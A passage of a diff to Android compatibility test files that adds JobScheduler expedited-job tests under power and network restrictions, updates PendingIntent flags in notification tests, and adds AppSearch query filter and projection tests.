import com.android.compatibility.common.util.SystemUtil;
@@ -78,6 +81,8 @@
private boolean mInitialRestrictBackground;
/** Track whether airplane mode was enabled in case we toggle it. */
private boolean mInitialAirplaneMode;
+ /** Track whether the restricted bucket was enabled in case we toggle it. */
+ private String mInitialRestrictedBucketEnabled;
private JobInfo.Builder mBuilder;
@@ -102,6 +107,8 @@
mInitialRestrictBackground = SystemUtil
.runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_GET_CMD)
.contains("enabled");
+ mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
+ Settings.Global.ENABLE_RESTRICTED_BUCKET);
setDataSaverEnabled(false);
mInitialAirplaneMode = isAirplaneModeOn();
setAirplaneMode(false);
@@ -114,12 +121,18 @@
}
mJobScheduler.cancel(CONNECTIVITY_JOB_ID);
+ BatteryUtils.runDumpsysBatteryReset();
+
// Restore initial restrict background data usage policy
setDataSaverEnabled(mInitialRestrictBackground);
// Restore initial airplane mode status
setAirplaneMode(mInitialAirplaneMode);
+ // Restore initial restricted bucket setting.
+ Settings.Global.putString(mContext.getContentResolver(),
+ Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
+
// Ensure that we leave WiFi in its previous state.
if (mHasWifi && mWifiManager.isWifiEnabled() != mInitialWiFiState) {
try {
@@ -303,6 +316,66 @@
/**
* Schedule an expedited job that requires a network connection, and verify that it runs even
+ * when if an app is idle.
+ */
+ public void testExpeditedJobExecutes_IdleApp() throws Exception {
+ if (!AppStandbyUtils.isAppStandbyEnabled()) {
+ Log.d(TAG, "App standby not enabled");
+ return;
+ }
+ if (!checkDeviceSupportsMobileData()) {
+ Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+ return;
+ }
+
+ Settings.Global.putString(mContext.getContentResolver(),
+ Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+ mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+ SystemUtil.runShellCommand("am set-standby-bucket "
+ + kJobServiceComponent.getPackageName() + " restricted");
+ disconnectWifiToConnectToMobile();
+ BatteryUtils.runDumpsysBatteryUnplug();
+
+ kTestEnvironment.setExpectedExecutions(1);
+ mJobScheduler.schedule(
+ mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+ .setExpedited(true)
+ .build());
+ runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+ assertTrue("Expedited job requiring connectivity did not fire when app was idle.",
+ kTestEnvironment.awaitExecution());
+ }
+
+ /**
+ * Schedule an expedited job that requires a network connection, and verify that it runs even
+ * when Battery Saver is on.
+ */
+ public void testExpeditedJobExecutes_BatterySaverOn() throws Exception {
+ BatteryUtils.assumeBatterySaverFeature();
+ if (!checkDeviceSupportsMobileData()) {
+ Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+ return;
+ }
+
+ disconnectWifiToConnectToMobile();
+ BatteryUtils.runDumpsysBatteryUnplug();
+ BatteryUtils.enableBatterySaver(true);
+
+ kTestEnvironment.setExpectedExecutions(1);
+ mJobScheduler.schedule(
+ mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+ .setExpedited(true)
+ .build());
+ runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+ assertTrue(
+ "Expedited job requiring connectivity did not fire with Battery Saver on.",
+ kTestEnvironment.awaitExecution());
+ }
+
+ /**
+ * Schedule an expedited job that requires a network connection, and verify that it runs even
* when Data Saver is on and the device is not connected to WiFi.
*/
public void testExpeditedJobExecutes_DataSaverOn() throws Exception {
@@ -324,6 +397,44 @@
kTestEnvironment.awaitExecution());
}
+ /**
+ * Schedule an expedited job that requires a network connection, and verify that it runs even
+ * when multiple firewalls are active.
+ */
+ public void testExpeditedJobBypassesSimultaneousFirewalls() throws Exception {
+ BatteryUtils.assumeBatterySaverFeature();
+ if (!checkDeviceSupportsMobileData()) {
+ Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+ return;
+ }
+ if (!AppStandbyUtils.isAppStandbyEnabled()) {
+ Log.d(TAG, "App standby not enabled");
+ return;
+ }
+
+ Settings.Global.putString(mContext.getContentResolver(),
+ Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+ mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+ SystemUtil.runShellCommand("am set-standby-bucket "
+ + kJobServiceComponent.getPackageName() + " restricted");
+ disconnectWifiToConnectToMobile();
+ BatteryUtils.runDumpsysBatteryUnplug();
+ BatteryUtils.enableBatterySaver(true);
+ setDataSaverEnabled(true);
+
+ kTestEnvironment.setExpectedExecutions(1);
+ mJobScheduler.schedule(
+ mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+ .setExpedited(true)
+ .build());
+ runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+ assertTrue(
+ "Expedited job requiring metered connectivity did not fire with multiple "
+ + "firewalls.",
+ kTestEnvironment.awaitExecution());
+ }
+
// --------------------------------------------------------------------------------------------
// Positives & Negatives - schedule jobs under conditions that require that pass initially and
// then fail with a constraint change.
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
index f53f126..e1bf31f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
@@ -208,7 +208,7 @@
private RemoteAction getRemoteAction(String pendingIntent) {
Intent i = new Intent(pendingIntent);
- PendingIntent p = PendingIntent.getBroadcast(mContext, 0, i, 0);
+ PendingIntent p = PendingIntent.getBroadcast(mContext, 0, i, PendingIntent.FLAG_MUTABLE_UNAUDITED);
return new RemoteAction(Icon.createWithContentUri("content://test"), "test1", "test1", p);
}
diff --git a/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java b/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
index 1149e5e..ded29be 100644
--- a/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
+++ b/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
@@ -114,7 +114,7 @@
registerReceiver(mReceiver, new IntentFilter(mReceiverAction));
Intent intent = new Intent(mReceiverAction);
postNotification(notificationId,
- PendingIntent.getBroadcast(context, 0, intent, 0));
+ PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
break;
}
case MESSAGE_SERVICE_NOTIFICATION: {
@@ -123,7 +123,7 @@
// trampoline) in this case.
Intent intent = new Intent(context, NotificationTrampolineTestService.class);
postNotification(notificationId,
- PendingIntent.getService(context, 0, intent, 0));
+ PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
break;
}
default:
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestService.java b/tests/app/app/src/android/app/stubs/BubblesTestService.java
index d675a52..a3bf4f7 100644
--- a/tests/app/app/src/android/app/stubs/BubblesTestService.java
+++ b/tests/app/app/src/android/app/stubs/BubblesTestService.java
@@ -59,7 +59,7 @@
private Notification getNotificationForTest(int testCase, Context context) {
final Intent intent = new Intent(context, SendBubbleActivity.class);
final PendingIntent pendingIntent =
- PendingIntent.getActivity(getApplicationContext(), 0, intent, 0);
+ PendingIntent.getActivity(getApplicationContext(), 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
Person person = new Person.Builder()
.setName("bubblebot")
.build();
diff --git a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
index 1cbd70f..e02382b 100644
--- a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
+++ b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
@@ -61,7 +61,7 @@
public void sendInvalidBubble(boolean autoExpand) {
Context context = getApplicationContext();
- PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, new Intent(), 0);
+ PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification n = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.black)
.setWhen(System.currentTimeMillis())
@@ -109,7 +109,7 @@
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setAction(Intent.ACTION_MAIN);
final PendingIntent pendingIntent =
- PendingIntent.getActivity(context, 0, intent, 0);
+ PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
return new Notification.BubbleMetadata.Builder(pendingIntent,
Icon.createWithResource(context, R.drawable.black))
diff --git a/tests/app/src/android/app/cts/CloseSystemDialogsTest.java b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
index 957d4a7..7fefd24 100644
--- a/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
+++ b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
@@ -35,6 +35,7 @@
import android.app.stubs.shared.ICloseSystemDialogsTestsService;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
+import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
@@ -44,6 +45,7 @@
import android.os.Handler;
import android.os.Looper;
import android.os.ResultReceiver;
+import android.provider.Settings;
import android.view.Display;
import android.view.WindowManager;
import android.view.WindowManager.LayoutParams;
@@ -88,6 +90,7 @@
private Instrumentation mInstrumentation;
private FutureServiceConnection mConnection;
private Context mContext;
+ private ContentResolver mResolver;
private ICloseSystemDialogsTestsService mService;
private volatile WindowManager mSawWindowManager;
private volatile Context mSawContext;
@@ -98,12 +101,14 @@
private Handler mMainHandler;
private TestNotificationListener mNotificationListener;
private NotificationHelper mNotificationHelper;
+ private String mPreviousHiddenApiPolicy;
@Before
public void setUp() throws Exception {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
mContext = mInstrumentation.getTargetContext();
+ mResolver = mContext.getContentResolver();
mMainHandler = new Handler(Looper.getMainLooper());
toggleListenerAccess(mContext, true);
mNotificationListener = TestNotificationListener.getInstance();
@@ -111,6 +116,11 @@
compat(APP_COMPAT_ENABLE, ActivityManager.DROP_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
setTargetCurrent();
+ // We need to test that a few hidden APIs are properly protected in the helper app. The
+ // helper app we're using doesn't have the checks disabled because it's not the target of
+ // instrumentation, see comment on APP_HELPER for details.
+ mPreviousHiddenApiPolicy = setHiddenApiPolicy("1");
+
// Add a receiver that will verify if the intent was sent or not
mIntentReceiver = new IntentReceiver();
mCloseSystemDialogsReceived = new CompletableFuture<>();
@@ -135,6 +145,7 @@
}
mMainHandler.post(() -> mSawWindowManager.removeViewImmediate(mFakeView));
mContext.unregisterReceiver(mIntentReceiver);
+ setHiddenApiPolicy(mPreviousHiddenApiPolicy);
compat(APP_COMPAT_RESET, ActivityManager.DROP_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
compat(APP_COMPAT_RESET, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
compat(APP_COMPAT_RESET, "NOTIFICATION_TRAMPOLINE_BLOCK", APP_HELPER);
@@ -350,6 +361,15 @@
return mConnection;
}
+ private String setHiddenApiPolicy(String policy) throws Exception {
+ return SystemUtil.callWithShellPermissionIdentity(() -> {
+ String previous = Settings.Global.getString(mResolver,
+ Settings.Global.HIDDEN_API_POLICY);
+ Settings.Global.putString(mResolver, Settings.Global.HIDDEN_API_POLICY, policy);
+ return previous;
+ });
+ }
+
private static void compat(String command, String changeId, String packageName) {
SystemUtil.runShellCommand(
String.format("am compat %s %s %s", command, changeId, packageName));
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index 3f6928f..f289557 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -21,6 +21,7 @@
import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -49,6 +50,7 @@
import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
import org.junit.After;
import org.junit.Before;
@@ -421,7 +423,13 @@
cursor.getColumnIndex(DownloadManager.COLUMN_STATUS)));
assertEquals(Uri.fromFile(expectedLocation).toString(),
cursor.getString(cursor.getColumnIndex(DownloadManager.COLUMN_LOCAL_URI)));
- assertTrue(expectedLocation.exists());
+
+ // Use shell to check if file is created as normal app doesn't have
+ // visibility to see other packages dirs.
+ String result = SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+ "file " + expectedLocation.getCanonicalPath());
+ assertFalse("Cannot create file in other packages",
+ result.contains("No such file or directory"));
} finally {
if (cursor != null) {
cursor.close();
diff --git a/tests/app/src/android/app/cts/NotificationCarExtenderTest.java b/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
index 20bf336..0345030 100644
--- a/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
+++ b/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
@@ -111,10 +111,10 @@
final Intent testIntent = new Intent("testIntent");
final PendingIntent testPendingIntent =
PendingIntent.getBroadcast(mContext, 0, testIntent,
- PendingIntent.FLAG_CANCEL_CURRENT);
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
final PendingIntent testReplyPendingIntent =
PendingIntent.getBroadcast(mContext, 0, testIntent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
final RemoteInput testRemoteInput = new RemoteInput.Builder("key").build();
final UnreadConversation testConversation =
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
index 8c2e89c..c879337 100644
--- a/tests/app/src/android/app/cts/NotificationChannelTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -82,6 +82,7 @@
.build());
channel.setLightColor(Color.RED);
channel.setDeleted(true);
+ channel.setDeletedTimeMs(1000);
channel.setFgServiceShown(true);
channel.setVibrationPattern(new long[] {299, 4562});
channel.setBlockable(true);
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index ea2e5b2..a0acdb7 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -401,7 +401,7 @@
private PendingIntent getPendingIntent() {
return PendingIntent.getActivity(
- getContext(), 0, new Intent(getContext(), this.getClass()), 0);
+ getContext(), 0, new Intent(getContext(), this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
private boolean isGroupSummary(Notification n) {
@@ -517,7 +517,7 @@
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
intent.setAction(Intent.ACTION_MAIN);
- final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
if (data == null) {
data = new Notification.BubbleMetadata.Builder(pendingIntent,
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index d7c27b3..e718d10 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -147,11 +147,11 @@
mNotification.icon = 0;
mNotification.number = 1;
final Intent intent = new Intent();
- final PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mNotification.contentIntent = pendingIntent;
final Intent deleteIntent = new Intent();
final PendingIntent delPendingIntent = PendingIntent.getBroadcast(
- mContext, 0, deleteIntent, 0);
+ mContext, 0, deleteIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mNotification.deleteIntent = delPendingIntent;
mNotification.tickerText = TICKER_TEXT;
@@ -251,7 +251,7 @@
public void testBuilder() {
final Intent intent = new Intent();
- final PendingIntent contentIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+ final PendingIntent contentIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.BubbleMetadata bubble = makeBubbleMetadata();
mNotification = new Notification.Builder(mContext, CHANNEL.getId())
.setSmallIcon(1)
@@ -292,7 +292,7 @@
public void testActionBuilder() {
final Intent intent = new Intent();
- final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+ final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mAction = null;
mAction = new Notification.Action.Builder(0, ACTION_TITLE, actionIntent)
.setAuthenticationRequired(true)
@@ -551,7 +551,7 @@
}
public void testAction_builder_contextualAction_nullIcon() {
- PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.Action.Builder builder =
new Notification.Action.Builder(null /* icon */, "title", pendingIntent)
.setContextual(true);
@@ -628,8 +628,8 @@
}
public void testBubbleMetadataBuilder() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
- PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+ PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Icon icon = Icon.createWithResource(mContext, 1);
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -646,8 +646,8 @@
}
public void testBubbleMetadata_parcel() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
- PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+ PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Icon icon = Icon.createWithResource(mContext, 1);
Notification.BubbleMetadata metadata =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -667,7 +667,7 @@
}
public void testBubbleMetadataBuilder_shortcutId() {
- PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
.setDesiredHeight(BUBBLE_HEIGHT)
@@ -682,7 +682,7 @@
}
public void testBubbleMetadataBuilder_parcelShortcutId() {
- PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.BubbleMetadata metadata =
new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
@@ -701,7 +701,7 @@
}
public void testBubbleMetadata_parcelResId() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Icon icon = Icon.createWithResource(mContext, 1);
Notification.BubbleMetadata metadata =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -737,7 +737,7 @@
}
public void testBubbleMetadataBuilder_shortcutBuilder_throwsForSetIntent() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
try {
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
@@ -801,7 +801,7 @@
new Canvas(b).drawColor(0xffff0000);
Icon icon = Icon.createWithAdaptiveBitmap(b);
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon);
Notification.BubbleMetadata metadata = metadataBuilder.build();
@@ -812,7 +812,7 @@
public void testBubbleMetadataBuilder_noThrowForNonBitmapIcon() {
Icon icon = Icon.createWithResource(mContext, R.drawable.ic_android);
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon);
Notification.BubbleMetadata metadata = metadataBuilder.build();
@@ -821,8 +821,8 @@
}
public void testBubbleMetadataBuilder_replaceHeightRes() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
- PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+ PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Icon icon = Icon.createWithResource(mContext, 1);
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -838,8 +838,8 @@
}
public void testBubbleMetadataBuilder_replaceHeightDp() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
- PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+ PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Icon icon = Icon.createWithResource(mContext, 1);
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -964,7 +964,7 @@
}
private Notification.BubbleMetadata makeBubbleMetadata() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
return new Notification.BubbleMetadata.Builder(bubbleIntent,
Icon.createWithResource(mContext, 1))
diff --git a/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java b/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
index 8d1ab70..6a84d88 100644
--- a/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
+++ b/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
@@ -48,7 +48,7 @@
}
private RecoverableSecurityException build() {
- final PendingIntent pi = PendingIntent.getActivity(getContext(), 42, new Intent(), 0);
+ final PendingIntent pi = PendingIntent.getActivity(getContext(), 42, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
return new RecoverableSecurityException(new SecurityException("foo"), "bar",
new RemoteAction(Icon.createWithFilePath("/dev/null"), "title", "content", pi));
}
diff --git a/tests/app/src/android/app/cts/WearableExtenderTest.java b/tests/app/src/android/app/cts/WearableExtenderTest.java
index 768eb25..bcdb36d 100644
--- a/tests/app/src/android/app/cts/WearableExtenderTest.java
+++ b/tests/app/src/android/app/cts/WearableExtenderTest.java
@@ -44,7 +44,7 @@
final String dismissalId = "dismissal_id";
final int contentActionIndex = 2;
final Bitmap background = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
- PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification page1 = new Notification.Builder(mContext, "test id")
.setSmallIcon(1)
.setContentTitle("page1")
@@ -196,7 +196,7 @@
final int contentActionIndex = 2;
Notification.Action action = newActionBuilder().build();
final Bitmap background = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
- PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification page1 = new Notification.Builder(mContext, "test id")
.setSmallIcon(1)
.setContentTitle("page1")
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
index 24dd1fe..2b6bd70 100644
--- a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
@@ -53,6 +53,7 @@
import org.junit.Test;
import java.util.ArrayList;
+import java.util.Collections;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
@@ -574,6 +575,49 @@
}
@Test
+ public void testQuery_packageFilter() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("foo")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+
+ // Query for the document within our package
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "foo",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addFilterPackageNames(
+ ApplicationProvider.getApplicationContext()
+ .getPackageName())
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).containsExactly(email);
+
+ // Query for the document in some other package, which won't exist
+ searchResults =
+ mDb1.query(
+ "foo",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addFilterPackageNames("some.other.package")
+ .build());
+ List<SearchResult> results = searchResults.getNextPage().get();
+ assertThat(results).isEmpty();
+ }
+
+ @Test
public void testQuery_namespaceFilter() throws Exception {
// Schema registration
mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build());
@@ -667,6 +711,183 @@
}
@Test
+ public void testQuery_projection() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index two documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email1, email2)
+ .build()));
+
+ // Query with type property paths {"Email", ["subject", "to"]}
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+ // The two email documents should have been returned with only the "subject" and "to"
+ // properties.
+ AppSearchEmail expected1 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ AppSearchEmail expected2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
